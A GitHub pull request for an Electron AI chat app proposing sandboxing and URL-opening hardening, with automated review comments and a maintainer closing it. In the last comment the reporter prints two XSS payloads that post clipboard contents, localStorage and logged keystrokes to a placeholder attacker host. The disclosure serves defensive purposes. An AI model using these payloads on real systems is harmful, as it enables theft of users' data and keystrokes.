Skip to content

fix: Critical security vulnerabilities#1312

Closed
Zeyad-Azima wants to merge 1 commit intoThinkInAIXYZ:devfrom
Zeyad-Azima:security-fixes-v2
Closed

fix: Critical security vulnerabilities#1312
Zeyad-Azima wants to merge 1 commit intoThinkInAIXYZ:devfrom
Zeyad-Azima:security-fixes-v2

Conversation

@Zeyad-Azima
Copy link

@Zeyad-Azima Zeyad-Azima commented Feb 13, 2026

This PR addresses two critical security vulnerabilities with a combined CVSS score of 9.8 CRITICAL.

Vulnerability 1: File System Access

Issue: `webSecurity: false` allowed arbitrary file reads via `fetch('file://...')`

Impact:

  • Could read SSH keys (`~/.ssh/id_rsa`)
  • Could read AWS credentials (`~/.aws/credentials`)
  • Could read shell history with passwords
  • Complete credential theft possible

Fix:

  • Changed `webSecurity: false` → `webSecurity: true`
  • Changed `sandbox: false` → `sandbox: true`
  • File: `src/main/presenter/windowPresenter/FloatingChatWindow.ts:93-95`

Vulnerability 2: Unsafe URL Handler

Issue: Direct `shell.openExternal()` exposure without validation

Impact:

  • Could launch arbitrary applications via `file://` URLs
  • Could download malicious files
  • Social engineering attacks leading to RCE
  • Phishing via fake login pages

Fix:

  • Removed direct `shell.openExternal()` from preload
  • Added secure IPC handler with validation
  • Protocol whitelist (only http/https)
  • Domain whitelist for trusted sites (OpenAI, Anthropic, GitHub)
  • User confirmation dialog for untrusted domains
  • Files: `src/preload/index.ts:46-48`, `src/main/presenter/index.ts:206-261`

PoC

image image

Summary by CodeRabbit

Release Notes

Security

  • External links are now validated against whitelisted protocols (HTTP/HTTPS only) and a list of trusted domains before opening
  • User confirmation is required before accessing links pointing to untrusted or unverified domains
  • Application window security has been enhanced through improved process isolation with additional sandboxing and web security enforcement

Fixed two critical security vulnerabilities:

1. File System Access Vulnerability (CVSS 9.1 CRITICAL)
   - Enabled webSecurity: true to prevent file:// access
   - Enabled sandbox: true for process isolation
   - Prevents arbitrary file reads (SSH keys, AWS credentials, etc.)

2. Unsafe URL Handler (CVSS 8.8 HIGH)
   - Replaced direct shell.openExternal() with secure IPC handler
   - Added protocol whitelist (only http/https allowed)
   - Added domain whitelist for trusted sites
   - Added user confirmation for untrusted domains
   - Prevents malicious app launches and phishing attacks

Security improvements:
- Blocks file:// protocol access from renderer
- Blocks dangerous protocols (smb://, ssh://, etc.)
- User confirmation required for untrusted external links
- Trusted domains (OpenAI, Anthropic, GitHub) work seamlessly

Files changed:
- src/main/presenter/windowPresenter/FloatingChatWindow.ts
- src/preload/index.ts
- src/main/presenter/index.ts
@coderabbitai
Copy link
Contributor

coderabbitai bot commented Feb 13, 2026

📝 Walkthrough

Walkthrough

This PR hardens external URL handling security by implementing a new IPC-based secure handler with protocol and domain whitelisting, user confirmation for untrusted domains, and enables Electron webSecurity and sandbox features in the FloatingChatWindow.

Changes

Cohort / File(s) Summary
Security IPC Handler
src/main/presenter/index.ts
Adds open-external-secure IPC handler with protocol whitelisting (http/https), domain whitelist support, user confirmation dialog for untrusted domains, and structured success/error responses. Includes new setupSecurityHandlers method invoked during construction.
Window Security Hardening
src/main/presenter/windowPresenter/FloatingChatWindow.ts
Enables webSecurity and sandbox in Electron webPreferences to enforce same-origin policy and process isolation.
Preload API Update
src/preload/index.ts
Removes direct shell access; refactors api.openExternal to invoke open-external-secure IPC channel instead of calling shell.openExternal directly, routing all external URL opens through the secure handler.

Sequence Diagram(s)

sequenceDiagram
    participant Renderer as Renderer Process<br/>(FloatingChatWindow)
    participant Preload as Preload Script
    participant IPC as IPC Channel
    participant MainPresenter as Main Presenter
    participant Dialog as Dialog
    participant Shell as shell.openExternal

    Renderer->>Preload: api.openExternal(url)
    Preload->>IPC: ipcRenderer.invoke('open-external-secure', url)
    IPC->>MainPresenter: open-external-secure handler
    MainPresenter->>MainPresenter: Validate protocol (http/https)
    MainPresenter->>MainPresenter: Check domain whitelist
    alt Domain whitelisted
        MainPresenter->>Shell: shell.openExternal(url)
        Shell-->>MainPresenter: success
        MainPresenter-->>IPC: {success: true}
    else Domain not whitelisted
        MainPresenter->>Dialog: Show confirmation dialog
        Dialog-->>MainPresenter: User response
        alt User confirms
            MainPresenter->>Shell: shell.openExternal(url)
            Shell-->>MainPresenter: success
            MainPresenter-->>IPC: {success: true}
        else User denies
            MainPresenter-->>IPC: {success: false, error: "User denied"}
        end
    end
    IPC-->>Preload: response
    Preload-->>Renderer: Promise resolved
Loading

Estimated code review effort

🎯 3 (Moderate) | ⏱️ ~20 minutes

Possibly related PRs

Poem

🐰 A rabbit hops through security gates,
Whitelisting domains, checking dates,
No shell commands without a care,
IPC validation floating in the air,
Safe external links for all to share!

🚥 Pre-merge checks | ✅ 4
✅ Passed checks (4 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title 'fix: Critical security vulnerabilities' directly matches the PR's primary purpose of addressing two critical security vulnerabilities (CVSS 9.8).
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Merge Conflict Detection ✅ Passed ✅ No merge conflicts detected when merging into dev

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing touches
  • 📝 Generate docstrings
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Post copyable unit tests in a comment

Tip

Issue Planner is now in beta. Read the docs and try it out! Share your feedback on Discord.


Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

Copy link
Contributor

@coderabbitai coderabbitai bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
src/main/presenter/windowPresenter/FloatingChatWindow.ts (1)

89-96: ⚠️ Potential issue | 🟠 Major

Good security hardening, but critical inconsistencies in other window implementations.

While webSecurity: true and sandbox: true correctly harden this window, verification reveals insecure configurations elsewhere:

  • src/main/presenter/windowPresenter/index.ts uses sandbox: false (multiple instances)
  • src/main/presenter/floatingButtonPresenter/FloatingButtonWindow.ts uses webSecurity: false and sandbox: false
  • src/main/presenter/tabPresenter.ts uses sandbox: false

All BrowserWindow instances must use secure defaults. Disable only when absolutely necessary with documented justification.

🤖 Fix all issues with AI agents
In `@src/preload/index.ts`:
- Around line 45-48: The preload API's openExternal implementation returns
ipcRenderer.invoke('open-external-secure', url) which resolves to {success:
boolean, error?: string} but index.d.ts still types openExternal as
Promise<void>; update the declaration for openExternal in index.d.ts to
Promise<{success: boolean, error?: string}> and then update the caller in
AboutUsSettings.vue (the code invoking window.api.openExternal) to await the
result and check result?.success, handling/logging result?.error when success is
false.
🧹 Nitpick comments (4)
src/main/presenter/index.ts (4)

262-264: Pass the reconstructed URL to shell.openExternal to prevent URL parsing differentials.

Using the original url string after validating via new URL(url) opens a (narrow) window for parsing-differential attacks if shell.openExternal interprets the raw string differently from the URL constructor. Use the canonicalized form instead.

Proposed fix
         // 4. Safe to open
-        await shell.openExternal(url)
-        console.log('✅ SECURITY: Opened external URL:', url, isTrusted ? '(trusted)' : '(user confirmed)')
+        await shell.openExternal(parsedUrl.toString())
+        console.log('✅ SECURITY: Opened external URL:', parsedUrl.toString(), isTrusted ? '(trusted)' : '(user confirmed)')

207-275: Missing handler cleanup in destroy() — will throw on re-registration if singleton is ever reset.

ipcMain.handle throws if a handler for the same channel is already registered. While the singleton pattern currently prevents this, adding cleanup in destroy() makes the code resilient to future changes and aligns with the cleanup pattern already used for other presenters.

Add cleanup in destroy()
   destroy() {
+    ipcMain.removeHandler('open-external-secure')
     this.floatingButtonPresenter.destroy()
     this.tabPresenter.destroy()

225-234: Hardcoded trusted domain list — consider making it configurable or centralizing it.

The trusted domains list is a static array embedded in the handler. This is fine for the initial security fix, but as the app integrates more providers, this list will need updates. Consider extracting it to a configuration constant or making it configurable via configPresenter in a follow-up.


240-260: Potential dialog spam from a compromised renderer.

A malicious or compromised renderer could repeatedly invoke open-external-secure with untrusted URLs, flooding the user with confirmation dialogs. Consider adding a simple rate-limiter or debounce (e.g., suppress dialogs if one is already showing).

Comment on lines 45 to 48
openExternal: (url: string) => {
return shell.openExternal(url)
// ✅ SECURITY FIX: Use secure IPC instead of direct shell.openExternal
return ipcRenderer.invoke('open-external-secure', url)
},
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical

🧩 Analysis chain

🏁 Script executed:

rg -n "openExternal" --type=ts --type=vue -C 3 -g '!node_modules/**' -g '!src/preload/**' -g '!src/main/**'

Repository: ThinkInAIXYZ/deepchat

Length of output: 92


🏁 Script executed:

rg -n "openExternal" --type ts --type js -C 3 -g '!node_modules/**' -g '!src/preload/**' -g '!src/main/**'

Repository: ThinkInAIXYZ/deepchat

Length of output: 4934


🏁 Script executed:

# Read the preload file to confirm return type
head -100 src/preload/index.ts | tail -60

Repository: ThinkInAIXYZ/deepchat

Length of output: 1842


🏁 Script executed:

# Search for all openExternal calls without the exclusions
fd -e ts -e tsx -e vue | xargs rg -l "openExternal" | head -20

Repository: ThinkInAIXYZ/deepchat

Length of output: 505


🏁 Script executed:

cat src/preload/index.d.ts

Repository: ThinkInAIXYZ/deepchat

Length of output: 637


🏁 Script executed:

# Check if AboutUsSettings.vue will fail TypeScript strict checks
grep -A 5 "const openExternalLink" src/renderer/settings/components/AboutUsSettings.vue

Repository: ThinkInAIXYZ/deepchat

Length of output: 244


Type definition mismatch: Update index.d.ts to reflect actual return type.

The type definition declares openExternal?(url: string): Promise<void>, but the implementation returns ipcRenderer.invoke('open-external-secure', url), which resolves to an object with {success: boolean, error?: string}. This breaks strict TypeScript type checking.

Update src/preload/index.d.ts to:

openExternal?(url: string): Promise<{success: boolean, error?: string}>

Then update the caller in src/renderer/settings/components/AboutUsSettings.vue (line 259) to handle the new return shape:

const result = await window.api.openExternal(url)
if (!result?.success) {
  console.error('Failed to open external link:', result?.error)
}
🤖 Prompt for AI Agents
In `@src/preload/index.ts` around lines 45 - 48, The preload API's openExternal
implementation returns ipcRenderer.invoke('open-external-secure', url) which
resolves to {success: boolean, error?: string} but index.d.ts still types
openExternal as Promise<void>; update the declaration for openExternal in
index.d.ts to Promise<{success: boolean, error?: string}> and then update the
caller in AboutUsSettings.vue (the code invoking window.api.openExternal) to
await the result and check result?.success, handling/logging result?.error when
success is false.

@zerob13
Copy link
Collaborator

zerob13 commented Feb 14, 2026

Thank you for the detailed review and suggestions.

At this stage, the current design and relatively permissive capabilities are intentional. The product is positioned as an agent playground and can be understood more like a development tool. We are not planning to introduce additional restrictions that would limit functionality in this area for now.

In addition, the IPC restructuring and invocation changes proposed in this PR do not align with the architectural conventions of this project. Considering both functional positioning and codebase consistency, we will not be merging this PR.

We appreciate your attention to security and the time you invested in the analysis. We will continue evaluating the direction you suggested and look for more suitable hardening approaches in the future.

@zerob13 zerob13 closed this Feb 14, 2026
@zerob13
Copy link
Collaborator

zerob13 commented Feb 14, 2026

Separately, we do plan to address the openExternal handling in a future release by blocking non-HTTP/HTTPS protocols from being opened.

@Zeyad-Azima
Copy link
Author

Separately, we do plan to address the openExternal handling in a future release by blocking non-HTTP/HTTPS protocols from being opened.

hey @zerob13,

Noted, In addition make sure to inform the user of requests being made to any hosts/domains, Cause if the response not in the chat include any Js code embedded with-in the response could help stealing local files and also clipboard content and other payload I used, It's monitoring and exfiltrating all the data/keylogging and so on.

# Monitoring data
<img src=x onerror="setInterval(()=>{fetch('http://<attacker host>/collect',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({clipboard:window.api.readClipboardText(),localStorage:{...localStorage},timestamp:new Date().toISOString()})})},10000)">

# Key logging
<img src=x onerror="let k='';document.addEventListener('keydown',e=>{k+=e.key;if(k.length>50){fetch('http://<Attacker host>/keylog',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({keys:k})});k=''}})">

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants